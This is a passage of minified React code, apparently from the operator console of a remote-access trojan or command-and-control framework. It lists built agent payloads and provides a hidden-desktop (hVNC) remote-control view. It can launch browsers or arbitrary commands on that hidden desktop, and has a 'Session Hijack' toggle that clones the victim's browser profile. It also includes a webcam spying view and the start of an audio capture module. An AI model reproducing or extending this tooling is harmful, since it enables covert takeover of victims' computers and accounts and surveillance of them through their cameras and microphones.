targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(q=>{let te={};try{te=JSON.parse(q.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:q.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[te.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[te.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:q.agent_pubkey,children:[(q.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:q.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:No(q.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:km(q.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>L(q),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),B===q.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>de(q.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>ie(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>ie(q.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},q.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function pr({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const nV=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function rV(){const{id:e}=qo(),[t]=xx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,_]=p.useState({w:0,h:0}),[,A]=p.useState(""),[O,P]=p.useState(null),[I,U]=p.useState(!1),[D,M]=p.useState(!1),F=p.useRef(!1),[R,W]=p.useState({w:0,h:0});p.useEffect(()=>{const V=l.current;if(!V)return;const Z=new ResizeObserver(fe=>{const E=fe[0];E&&W({w:E.contentRect.width,h:E.contentRect.height})});return Z.observe(V),()=>Z.disconnect()},[]);const $=p.useMemo(()=>{if(z.w<=0||z.h<=0||R.w<=0||R.h<=0)return null;const V=Math.min(R.w/z.w,R.h/z.h);return{width:Math.floor(z.w*V),height:Math.floor(z.h*V)}},[z,R]),H=p.useRef({x:0,y:0,w:0,h:0}),X=p.useRef(null),se=p.useCallback((V,Z)=>{const fe=a.current;if(!fe)return;X.current||(X.current=fe.getContext("2d"));const E=X.current;if(!E)return;const oe=H.current;if(oe.w>0&&E.clearRect(oe.x,oe.y,oe.w,oe.h),V<0||Z<0){H.current={x:0,y:0,w:0,h:0};return}H.current={x:V-1,y:Z-1,w:16,h:24},E.save(),E.beginPath(),E.moveTo(V,Z),E.lineTo(V,Z+18),E.lineTo(V+5,Z+14),E.lineTo(V+9,Z+21),E.lineTo(V+12,Z+20),E.lineTo(V+8,Z+13),E.lineTo(V+13,Z+12),E.closePath(),E.fillStyle="white",E.fill(),E.strokeStyle="black",E.lineWidth=1,E.stroke(),E.restore()},[]),ue=p.useCallback((V,Z)=>{const fe=a.current;if(!fe)return;const E=fe.getContext("2d");E&&(E.save(),E.beginPath(),E.arc(V,Z,12,0,Math.PI*2),E.strokeStyle="rgba(6, 182, 212, 0.7)",E.lineWidth=2,E.stroke(),E.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{se(u.current.x,u.current.y)},150))},[se]),ge=p.useCallback((V,Z,fe,E,oe)=>{F.current||(F.current=!0,M(!0)),_({w:Z,h:fe});const J=i.current;if(!J)return;const pe=J.getContext("2d");if(!pe)return;(J.width!==Z||J.height!==fe)&&(J.width=Z,J.height=fe);const be=a.current;if(be&&(be.width!==Z||be.height!==fe)&&(be.width=Z,be.height=fe,X.current=null),typeof V=="string"){const ke=c.current||new Image;c.current=ke,ke.onload=()=>{pe.drawImage(ke,0,0)},ke.src=V}else V instanceof ImageBitmap?(pe.drawImage(V,0,0),V.close()):pe.drawImage(V,0,0)},[r]),xe=p.useCallback(()=>{},[]),{isConnected:Y,stats:ee,controls:C,connect:K,disconnect:ne}=pv({agentId:e||"",mode:n,onFrame:ge,onDisconnect:xe});p.useEffect(()=>{e&&K()},[e,K]);const B=p.useCallback(V=>{const Z=a.current,fe=i.current;if(!Z||!fe||z.w===0)return{x:0,y:0};const E=Z.getBoundingClientRect(),oe=fe.width/E.width,J=fe.height/E.height;return{x:Math.min(Math.max(Math.round((V.clientX-E.left)*oe),0),fe.width-1),y:Math.min(Math.max(Math.round((V.clientY-E.top)*J),0),fe.height-1)}},[z]),ie=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);u.current={x:Z,y:fe};const E=performance.now();E-f.current>=33&&(f.current=E,C.sendMouseMove(Z,fe)),se(Z,fe)},[m,y,B,C,se]),ve=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);C.sendMouseButton(V.button,1,Z,fe),ue(Z,fe)},[m,y,B,C,ue]),we=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V);C.sendMouseButton(V.button,0,Z,fe)},[m,y,B,C]),_e=p.useCallback(V=>{if(!m||y)return;const{x:Z,y:fe}=B(V),E=V.deltaY>0?-120:120;C.sendMouseScroll(E,Z,fe)},[m,y,B,C]);p.useEffect(()=>{if(!x||y)return;const V=(E,oe)=>{E.preventDefault(),E.stopPropagation();const J=E.keyCode||0;C.sendKey(oe,J,0)},Z=E=>V(E,1),fe=E=>V(E,0);return window.addEventListener("keydown",Z,!0),window.addEventListener("keyup",fe,!0),()=>{window.removeEventListener("keydown",Z,!0),window.removeEventListener("keyup",fe,!0)}},[x,y,C]),p.useEffect(()=>{C.setViewOnly(y)},[y,C]);const L=p.useCallback(V=>{w(V),C.setQuality(V)},[C]),de=p.useCallback(async()=>{try{const V=await navigator.clipboard.readText();V&&C.sendClipboard(V)}catch{}},[C]),q=p.useCallback(()=>{var V,Z;(Z=(V=o.current)==null?void 0:V.requestFullscreen)==null||Z.call(V)},[]),te=p.useCallback(async()=>{if(ne(),e)try{r?await UE(e):await WE(e)}catch{}window.close()},[e,ne,r]),me=p.useCallback(async V=>{if(!(!e||!V.trim())){P(null);try{await VE(e,V.trim(),I),P(`Launched ${V.trim()}${I?" (hijack)":""}`),A(""),setTimeout(()=>P(null),3e3)}catch(Z){P(`Failed: ${Z instanceof Error?Z.message:"unknown"}`)}}},[e,I]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.frameCount})," frames"]}),ee.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.dirtyTiles}),"/",ee.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),O&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${O.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:O.startsWith("Failed")?"#EF4444":"#06B6D4"},children:O}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[Y&&s.jsxs("div",{className:"relative",style:{width:$?$.width:void 0,height:$?$.height:void 0,display:D?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:ie,onMouseDown:ve,onMouseUp:we,onWheel:_e,onContextMenu:V=>V.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!Y||!D)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:Y?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(V=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${V*.3}s`}},V))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:Y?"#22C55E":"#EF4444",boxShadow:Y?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:Y?"LIVE":"OFFLINE"})]}),s.jsx(Bs,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:ee.fps})]}),s.jsx(Bs,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:V=>L(Number(V.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:V=>{const Z=Number(V.target.value);k(Z),C.sendControl(2,Z)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:V=>{const Z=Number(V.target.value);N(Z),C.sendControl(3,Z)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Bs,{}),s.jsx(jp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(iV,{})}),s.jsx(jp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(aV,{})}),s.jsx(jp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(sV,{})}),s.jsx(Bs,{}),s.jsx(O2,{onClick:de,title:"Sync clipboard",children:s.jsx(oV,{})}),s.jsx(O2,{onClick:q,title:"Fullscreen",children:s.jsx(lV,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Bs,{}),s.jsxs("button",{onClick:()=>U(V=>!V),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:I?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:I?"#22D3EE":"#52525B",background:I?"rgba(6, 182, 212, 0.12)":"transparent",border:I?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),nV.map(V=>s.jsxs("button",{onClick:()=>me(V.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${V.label}`,onMouseEnter:Z=>{Z.currentTarget.style.color="#06B6D4",Z.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Z=>{Z.currentTarget.style.color="#A1A1AA",Z.currentTarget.style.background="transparent"},children:[V.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:V.label})]},V.cmd)),s.jsxs("button",{onClick:()=>{const V=prompt("Command to launch on hidden desktop:");V&&me(V)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:V=>{V.currentTarget.style.color="#A1A1AA",V.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:V=>{V.currentTarget.style.color="#52525B",V.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:te,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:V=>{V.currentTarget.style.background="rgba(239, 68, 68, 0.12)",V.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:V=>{V.currentTarget.style.background="rgba(239, 68, 68, 0.06)",V.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Bs(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function jp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function O2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function iV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function aV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function sV(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function oV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function lV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function cV(){const{id:e}=qo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=pv({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await HE(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function uV({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=rt();if(!g)return;const 